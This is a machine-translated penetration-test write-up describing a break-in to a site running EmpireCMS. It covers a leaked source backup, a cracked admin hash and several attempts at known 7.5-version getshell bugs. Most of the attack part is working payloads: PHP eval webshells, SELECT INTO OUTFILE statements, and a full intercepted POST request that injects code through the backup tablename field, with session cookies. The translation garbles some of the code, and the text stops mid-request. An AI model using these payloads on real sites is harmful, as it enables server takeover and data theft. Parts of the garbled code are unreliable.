0x00はじめに
記事に記載されている脆弱性は脆弱性プラットフォームに提出されており、すべての悪意のある操作が復元されました
0x01ソースコードリーク
http://www.xxx.com.cn/www.zip古いルールは、ソースコードを取得し、最初にキーワードを渡して機密情報を見つけることです。
鍵
PWD
passwd
長い間パスワードを見つけた後、有効なパスワードが見つかりませんでした
最後に、robots.txtのCMSに関する情報を参照してください-Empirecms
クエリ後、オープンソースCMSであることがわかり、Baiduのデータテーブル構造を直接照会できます。
管理者のレコードテーブルはphome_enewsuserであることを知っています。ソースコードでグローバルに検索
0x02敏感な情報漏れ
クリックして、管理者のユーザー名、パスワードハッシュ、ソルト値を取得します
MD5を直接解決してパスワードを取得します
Kite/Kiteがパスワードを取得した後、背景アドレスを見つけます。オープンソースであるため、Baiduで利用可能になります。
ディレクトリを見て、背景アドレスを変更しないでください。そうすれば、直接アクセスできます
http://www.xxx.com.cn/e/admin/
特定のバージョン番号は6.6です
0x04歴史的脆弱性
オープンソースのCMSであるため、バックグラウンドにログインした後、歴史的脆弱性は浸透の鍵です。
脆弱性を直接検索し、歴史的脆弱性の再現を開始します
1.Background-Template-Public Template-JSコールログインテンプレートGETSHELL
開始前に終了しました
テーブル 'HDM1010482_DB.PHOME_ENEWSTEMPGROUP'良い男は存在しません、これはテーブルが削除されていますか?
2.バックエンドデータテーブルとシステムモデル-importデータベースモデルGETSHELL
empirecms 7.5および以前のバージョンのe/class/moddofun.phpファイルのloadinmod関数にセキュリティの脆弱性があります。攻撃者はこの脆弱性を使用して、任意のファイルをアップロードできます。
新しいtest.php.modファイルをローカルに作成し、
?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');テーブル名に記入して、すぐにインポートを選択します
別のテーブルが存在しません、GG
3。バックグラウンドでデータをバックアップして復元する-SQLステートメントGOTSHELLを実行
empirecms7.5および以前のバージョンのadmindbdosql.phpファイルにコードインジェクションの脆弱性があります。
つまり、背景はSQLステートメントの実行を提供します
サーバーMySQL構成SECURE_FILE_PRIVが正しくない限り、サーバーにファイルを書き込むことができます。
PayloadSelect '?php @eval($ _ post [123])?' Outfile 'Absolute Path/e/admin/lyy.php'サイトにファイルを書きたいので、絶対パスを知る必要があります。
エコーの実行ではないため、ショーMySQL変数を通じてパスの一部を取得できないため、渡されます
「%datadir%」のような変数を表示します。
4。データをバックアップして復元 - バックアップデータGESSHELL
empirecmsデータベースがバックグラウンドにバックアップされている場合、データベーステーブル名は確認されませんでした。データベーステーブル名を変更することにより、コードの実行を達成できます。
任意のテーブルを選択して、バックアップとつかみを開始します
TableNameフィールドをペイロードに変更します
@eval($ _ post [123])リクエストパッケージ
post/e/admin/ebak/phome.php http/1.1
host: www.xxx.com.cn
Content-Length: 285
Cache-Control: Max-age=0
アップグレード-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type:アプリケーション/x-www-form-urlencoded
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/89.0.4389.90 safari/537.36
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9
Referer: http://www.xxx.com.cn/e/admin/ebak/changetable.php?mydbname=hdm1010482_db
Accept-Encoding: gzip、deflate
Accept-Language: ZH-CN、ZH; Q=0.9
cookie: bxubwecmsdodbdata=empirectms; bxubwloginuserid=1; bxubwloginusername=kite; bxubwloginlevel=1; bxubweloginlic=empirectmslic; bxubwloginadminstyleid=1; bxubwloginrnd=f3jiuxpyexm6mwptsdug; bxubwlogincmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
Connection:閉じます
phome=doebakmydbname=hdm1010482_dbbaktype=phpinfo()filesize=300bakline=500autoauf=1bakstru=1dbchar=gbkbakdatatype=1mypath=hdm1010482_d B_20211229152350INSERTF=fallingWaitBaktime=0Readme=autofield=tableName%5b%5d=@eval($ _ post [123])chkall=onsubmit=bf%aa%ca%bc%b1%b8%b8%b7%ddバックアップフォルダー名を取得するためのエコー
hdm1010482_db_20211229152350webshell connection config.php下のバックアップフォルダー
http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php getShell
原理分析
ソースコードを手に持っているので、この抜け穴に従いました
まず、config.phpを直接検索して見つけます
e/admin/ebak/class/functions.phpファイルのebak_doebakでのファイル書き込み操作
$ string='?php
\ $ b_table=\ ''。$ b_table。 '\';
'。$ d_table。'
\ $ b_baktype='。$ add [' baktype ']。';
\ $ b_filesize='。$ add [' filesize ']。';
\ $ b_bakline='。$ add [' bakline ']。';
\ $ b_autoauf='。$ add [' autoauf ']。';
\ $ b_dbname=\ ''。$ dbname。 '\';
\ $ b_stru='。$ bakstru。';
\ $ b_strufour='。$ bakstrufour。';
\ $ B_DBCHAR=\ ''。AddSlashes($ add ['dbchar'])。 '\';
\ $ b_beover='。$ beover。';
\ $ b_insertf=\ ''。addslashes($ insertf)。 '\';
\ $ b_autofield=\ '、'。addslashes($ add ['autofield'])。 '、\';
\ $ B_BAKDATATYPE='。$ BAKDATATYPE。';
? ';
$ cfile=$ bakpath。 '/'。$ add ['mypath']。 '/config.php';
writefiletext_n($ cfile、$ string);
$ d_table変数が直接スプライスされていることがわかります
writefiletext_nの書き込みを見てみましょう
書き込みコンテンツのフィルタリングはないので、$ d_table変数の値を制御する方法を知る必要があります
CRTL+左ボタンは上に続きます
$ countは$ tablenameの数、$ tablenameは$ addのtablenameの重要な値です
ebak_doebak関数が呼び出される場所を見つけ、$ addが$ _postであることを知っています
彼がpostパラメーターのタブネームを処理し、2つの変数を生成したことは明らかです
$ b_tableと$ d_table、$ b_tableは二重引用符で包まれていて、使用できません
ただし、$ d_tableは二重引用符なしでラップされ、任意のフィルタリングなしで.phpファイルに直接書き込まれ、コマンドの実行が行われます
なぜ別のパラメーターではないのですか?
他のほとんどのパラメーターは、二重引用符で包まれています
二重引用符で包まれていないパラメーターはintを強制されます。STRが渡された場合、0が返されるため、合格します。
3のフォローアップ
脆弱性4を介してサイトの実際のパスを取得した後、SQLステートメントを作成し、サイトに直接WebShellを作成しようとしました。
'?php phpinfo();'を選択しますoutfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'データベース接続エラーは爆発しましたが、ステートメントは正常に実行されましたが、書かれたコンテンツは空に置き換えられました
正常にアクセスできますが、コンテンツなしでアクセスできます
通常の文字を書くことができます
outfileに「テスト」を選択します/data/home/hmu072095/htdocs/e/admin/1.txt '
予備的な判断は、PHPタグがフィルタリングされ、他の書き込み方法がそれをバイパスするために試されたことです。
1.選択'? phpinfo();」 Into Outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
2. 'スクリプト言語=' php 'phpinfo()を選択する; /script 'into outfile'/data/home/hmu072095/htdocs/e/admin/ly.php '
3. '?php @eval($ _ post [1])?' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'最後のASPスタイルのみが正常に書かれています
アクセスしようとすることは実行できません。 LinuxでデフォルトのPHPショートタグ構成アイテムを確認すると、なくなりました。
要約
1。ターゲットサイトは、Yujian Directory Scanningツールを介してスキャンされました。ウェブサイトのバックアップファイルwww.zipが漏れており、ソースコード分析がローカルにダウンロードされたことがわかりました。
2。phpstormを介してソースコードをロードし、キーワードキー、PWD、パスワード、PassWDを検索し、関連するパスワードは見つかりませんでした。 robots.txtを介して、それがempirecmsであることがわかりました
3. Baiduを介してEmpirecmsのデータテーブル構造を検索すると、Phome_Enewsuserが管理者レコードテーブルであることがわかりました。 Phome_Enewsuserキーワードのグローバルバッチ検索により、ソースコードのWebサイト管理者のユーザー名とパスワードがリークされたことがわかりました。プレーンテキストは、MD5の復号化によって取得されました。
4.デフォルトの背景パス/管理者を入力して、背景ログインページを表示し、取得したユーザー名とパスワードを入力してバックグラウンドにログインします。
5.ウェブサイトで文を書く準備をしてください。テーブルが存在せず、シェルを書くことができないことがわかりました。
6. Webサイトで、Webサイトでは、バックグラウンドシステムテーブルとシステムテンプレートマネージデータテーブル-Importシステムテンプレート、テンプレートファイル名:test.php.mod、および保存されたデータテーブル名はphome_ecm_111です。インポートした後、テーブルは存在せず、シェルに書き込むことができないことがわかります。
test.php.mod:
?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');
7. Webサイトでは、データを実行してSQLステートメントを実行して復元し、文章を書きます。前提条件には次のことが必要です。MySQL設定Secure_File_Privは不適切であり、Webサイトの絶対パスとEmpirecms=7.5のバージョンを知る必要があります。ここでは、ウェブサイトの絶対的なパスを取得することはできず、シェルを書くことはできません。
「%datadir%」のような変数を表示します。 //ウェブサイトの絶対パスを表示します
'?php @eval($ _ post [123])?'を選択しますOutfile 'Absolute Path/e/admin/lyy.php' //文を書きます
8。empirecmsバージョン7.5および以前のバージョンがバックグラウンドでデータベースをバックアップする場合、データベーステーブル名は検証されていません。コード実行は、データベーステーブル名を変更することで実現できます。次に、Webサイトのバックグラウンド-System -Backup and Recistore Data-データの復元- 任意のテーブルを選択して、バックアップとパケットキャプチャインターセプトを開始します。バックアップディレクトリに注意してください。ディレクトリが存在しない場合、システムは自動的にディレクトリ名を生成します。パケットをキャッチしてインターセプトし、それらを変更し、リクエストを送信します。
post/e/admin/ebak/phome.php http/1.1
host: www.xxx.com.cn
Content-Length: 285
Cache-Control: Max-age=0
アップグレード-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type:アプリケーション/x-www-form-urlen